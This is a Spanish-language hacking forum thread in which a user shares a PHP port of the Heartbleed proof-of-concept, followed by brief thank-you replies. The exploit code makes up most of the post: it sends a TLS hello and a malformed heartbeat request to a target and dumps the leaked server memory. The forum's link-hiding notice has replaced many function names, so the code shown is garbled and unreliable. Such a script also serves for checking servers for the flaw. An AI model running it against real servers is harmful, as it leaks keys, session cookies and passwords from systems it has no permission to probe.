comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Explotar Heartbleed con PHP

  • 6 Respuestas
  • 5290 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Zerquix18

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
  • hola
    • Ver Perfil
  • Skype: zerquix18
« en: Noviembre 16, 2014, 06:19:43 pm »

Hey, soy nuevo acá y me gustaría mostrarles algo que hice unos meses atrás con la vulnerabilidad de Heartbleed, traduciendo el exploit de Heartbleed (ssltest.py) de Python a PHP  ;D

Código: PHP
  1. <?php
  2. /**
  3. * Heartbleed POC
  4. *
  5. * @author Zerquix18
  6. *
  7. * @link http://github.com/zerquix18/heartbleed
  8. *
  9. * NOTE: This is the translation of ssltest.py from python to PHP
  10. * Don't be evil...
  11. **/
  12. echo "--------PHP Heartbleed POC ---------------\n\n";
  13. No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  14. if( 1 == $argc )
  15. No tienes permisos para ver links. Registrate o Entra con tu cuenta("Usage: \"php ssltest.php url.com 443\"\n");
  16. No tienes permisos para ver links. Registrate o Entra con tu cuenta($argv);
  17. $data = No tienes permisos para ver links. Registrate o Entra con tu cuenta(
  18. $argv[0],
  19. No tienes permisos para ver links. Registrate o Entra con tu cuenta(1, $argv) && No tienes permisos para ver links. Registrate o Entra con tu cuenta($argv[1]) ? $argv[1] : 443
  20. );
  21. if( false == ($s = No tienes permisos para ver links. Registrate o Entra con tu cuenta(AF_INET, SOCK_STREAM, SOL_TCP) ) )
  22. No tienes permisos para ver links. Registrate o Entra con tu cuenta("Unable to create socket!");
  23. function h2bin( $x ) {
  24. $x = No tienes permisos para ver links. Registrate o Entra con tu cuenta( No tienes permisos para ver links. Registrate o Entra con tu cuenta(" ", "\n"), "", $x);
  25. return hex2bin($x);
  26. }
  27. $hello = h2bin("16 03 02 00 dc 01 00 00 d8 03 02 53
  28. 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
  29. bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
  30. 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
  31. 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
  32. c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
  33. c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
  34. c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
  35. c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
  36. 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
  37. 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
  38. 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
  39. 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
  40. 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
  41. 00 0f 00 01 01");
  42. $hb = h2bin("18 03 02 00 03
  43. 01 40 00");
  44. /**
  45. *
  46. * Thanks: http://stackoverflow.com/a/4225813/1932946
  47. **/
  48. function hexdump($data) {
  49. static $width = 16;
  50. static $pad = '.';
  51. static $from = '';
  52. static $to = '';
  53. if ($from==='')
  54. {
  55. for ($i=0; $i<=0xFF; $i++)
  56. {
  57. $from .= No tienes permisos para ver links. Registrate o Entra con tu cuenta($i);
  58. $to .= ($i >= 0x20 && $i <= 0x7E) ? No tienes permisos para ver links. Registrate o Entra con tu cuenta($i) : $pad;
  59. }
  60. }
  61. $hex = No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta($data), $width*2);
  62. $chars = No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta($data, $from, $to), $width);
  63. $offset = 0;
  64. foreach ($hex as $i => $line) {
  65. echo No tienes permisos para ver links. Registrate o Entra con tu cuenta('%6X',$offset).' : '.No tienes permisos para ver links. Registrate o Entra con tu cuenta(' ', No tienes permisos para ver links. Registrate o Entra con tu cuenta($line,2)) . ' [' . $chars[$i] . "]\n";
  66. $offset += $width;
  67. }
  68. }
  69. function recvall($length, $timeout = 5) {
  70. global $s;
  71. $endtime = No tienes permisos para ver links. Registrate o Entra con tu cuenta() + $timeout;
  72. $rdata = "";
  73. $remain = $length;
  74. while($remain > 0) {
  75. $rtime = $endtime - $timeout;
  76. if( $rtime < 0 )
  77. return null;
  78. $e = NULL;
  79. $r = No tienes permisos para ver links. Registrate o Entra con tu cuenta($s);
  80. @No tienes permisos para ver links. Registrate o Entra con tu cuenta( $r, $w, $e, 5);
  81. if( No tienes permisos para ver links. Registrate o Entra con tu cuenta($s, $r) ) {
  82. $d = @No tienes permisos para ver links. Registrate o Entra con tu cuenta($s, $data, $remain, 0 );
  83. if( false == $data )
  84. return null;
  85. $rdata .= $data;
  86. $remain -= No tienes permisos para ver links. Registrate o Entra con tu cuenta($data);
  87. }
  88. }
  89. return $rdata;
  90. }
  91. function recvmsg() {
  92. global $s;
  93. $hdr = recvall(5);
  94. if( null === $hdr ):
  95. echo "Unexpected EOF receiving record header - server closed connection\n";
  96. return No tienes permisos para ver links. Registrate o Entra con tu cuenta(null, null, null);
  97. endif;
  98. No tienes permisos para ver links. Registrate o Entra con tu cuenta($typ, $ver, $ln) = No tienes permisos para ver links. Registrate o Entra con tu cuenta( No tienes permisos para ver links. Registrate o Entra con tu cuenta("Cn/n/nC", $hdr) );
  99. $pay = recvall($ln, 10);
  100. if( null === $pay ) {
  101. echo "Unexpected EOF receiving record payload - server closed connection\n";
  102. return No tienes permisos para ver links. Registrate o Entra con tu cuenta(null, null, null);
  103. }
  104. No tienes permisos para ver links. Registrate o Entra con tu cuenta(" ... received message: type = %d, ver = %04x, length = %d\n", $typ, $ver, No tienes permisos para ver links. Registrate o Entra con tu cuenta($pay) );
  105. return No tienes permisos para ver links. Registrate o Entra con tu cuenta($typ, $ver, $pay);
  106. }
  107. function hit_hb() {
  108. global $hb, $s;
  109. No tienes permisos para ver links. Registrate o Entra con tu cuenta($s, $hb, No tienes permisos para ver links. Registrate o Entra con tu cuenta($hb), 0);
  110. while( true ) {
  111. No tienes permisos para ver links. Registrate o Entra con tu cuenta($typ, $ver, $pay) = recvmsg();
  112. if( null === $typ )
  113. No tienes permisos para ver links. Registrate o Entra con tu cuenta('No heartbeat response received, server likely not vulnerable');
  114. if( 24 == $typ ){
  115. echo "Received heartbeat response:\n";
  116. hexdump($pay);
  117. if( No tienes permisos para ver links. Registrate o Entra con tu cuenta($pay) > 3 )
  118. echo 'WARNING: server returned more data than it should - server is vulnerable!';
  119. else
  120. echo 'Server processed malformed heartbeat, but did not return any extra data.';
  121. return true;
  122. }
  123. if( 21 == $typ ) {
  124. echo "Received alert:\n";
  125. hexdump($pay);
  126. echo 'Server returned error, likely not vulnerable';
  127. return false;
  128. }
  129. }
  130. }
  131. echo "Connecting to socket...\n";
  132. $s_ = No tienes permisos para ver links. Registrate o Entra con tu cuenta( $s, $data[0], (int) $data[1] );
  133. if( ! $s )
  134. No tienes permisos para ver links. Registrate o Entra con tu cuenta("Error [". No tienes permisos para ver links. Registrate o Entra con tu cuenta() . "]: " . No tienes permisos para ver links. Registrate o Entra con tu cuenta( No tienes permisos para ver links. Registrate o Entra con tu cuenta() ) . "\n" );
  135. echo "Sending client hello...\n";
  136. @No tienes permisos para ver links. Registrate o Entra con tu cuenta($s, $hello, No tienes permisos para ver links. Registrate o Entra con tu cuenta($hello), 0 );
  137. No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  138. while( true ) {
  139. No tienes permisos para ver links. Registrate o Entra con tu cuenta($typ, $ver, $pay) = recvmsg();
  140. if( null == $typ )
  141. No tienes permisos para ver links. Registrate o Entra con tu cuenta("Server closed conection without sending hello!\n");
  142. if( 22 == $typ && No tienes permisos para ver links. Registrate o Entra con tu cuenta($pay[0]) == 0x0E )
  143. break;
  144. }
  145. echo "Sending heartbeat request...\n";
  146. No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  147. @No tienes permisos para ver links. Registrate o Entra con tu cuenta($s, $hb, No tienes permisos para ver links. Registrate o Entra con tu cuenta($hb), 0);
  148. hit_hb();

Lo pueden ver acá: No tienes permisos para ver links. Registrate o Entra con tu cuenta

Si encuentran algún error, dejen una issue o si pueden repararlo envíen una pull request. :)!
« Última modificación: Noviembre 16, 2014, 06:35:19 pm por ANTRAX »

Desconectado Y3K

  • *
  • Underc0der
  • Mensajes: 173
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #1 en: Noviembre 16, 2014, 08:49:02 pm »
Anda, ésto sí está muy bueno. Revisaré el código para ver cómo trabaja.

Gracias por el aporte.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5396
  • Actividad:
    36.67%
  • Reputación 31
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #2 en: Noviembre 16, 2014, 08:54:00 pm »
Excelente aporte Zerquix18!!


Desconectado Shell Shock

  • *
  • Underc0der
  • Mensajes: 10
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #3 en: Noviembre 17, 2014, 02:23:59 pm »
Anda mano aun no se mucho de python pero cuando leo o escucho Explotar Heartbleed me vuelve loco...jiji gracias por el aporte lo estare revisando..

Desconectado Y3K

  • *
  • Underc0der
  • Mensajes: 173
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #4 en: Noviembre 17, 2014, 03:45:59 pm »
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Anda mano aun no se mucho de python pero cuando leo o escucho Explotar Heartbleed me vuelve loco...jiji gracias por el aporte lo estare revisando..
Hombre, pero si eso no es ni remotamente cercano a Python :/

Desconectado kid_goth

  • *
  • Underc0der
  • Mensajes: 201
  • Actividad:
    0%
  • Reputación 3
  • Tu conocimiento se limita cuando dices NO PUEDO...
    • Ver Perfil
    • DC Projects
    • Email
« Respuesta #5 en: Noviembre 24, 2014, 12:08:49 pm »
No tienes permisos para ver links. Registrate o Entra con tu cuenta
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Anda mano aun no se mucho de python pero cuando leo o escucho Explotar Heartbleed me vuelve loco...jiji gracias por el aporte lo estare revisando..
Hombre, pero si eso no es ni remotamente cercano a Python :/

Al menos PERL se aceptaba xD :3 naaa a revisar también que da curiosidad el como trabaja
No tienes permisos para ver links. Registrate o Entra con tu cuenta

Acepta con humildad y aprecio que en la vida la muerte es inevitable y amarás ésta, adorando la muerte

Desconectado d4rks666

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #6 en: Diciembre 12, 2014, 07:32:38 pm »
interesante. gracias por el aporte =D

 

¿Te gustó el post? COMPARTILO!



Routerpwn, un framework para explotar dispositivos embebidos desde tu celular

Iniciado por hkm

Respuestas: 2
Vistas: 1971
Último mensaje Agosto 01, 2011, 11:45:43 pm
por JaAViEr
Explotar LFI, Subir Shell Explotando /proc/self/environ y Backdoorizar

Iniciado por hdbreaker

Respuestas: 1
Vistas: 2343
Último mensaje Julio 17, 2012, 12:35:31 am
por hdbreaker
Cómo explotar vulnerabilidad de Windows 7 con Metasploit

Iniciado por Pekador

Respuestas: 2
Vistas: 4387
Último mensaje Abril 16, 2012, 04:35:47 pm
por SPELINAX
Explotar Shellshock en smtp QMAIL

Iniciado por hdbreaker

Respuestas: 9
Vistas: 5521
Último mensaje Octubre 02, 2014, 01:03:27 pm
por WhiZ
Mini Tuto Explotar XSS

Iniciado por ANTRAX

Respuestas: 4
Vistas: 3690
Último mensaje Octubre 08, 2012, 01:29:18 am
por zoro248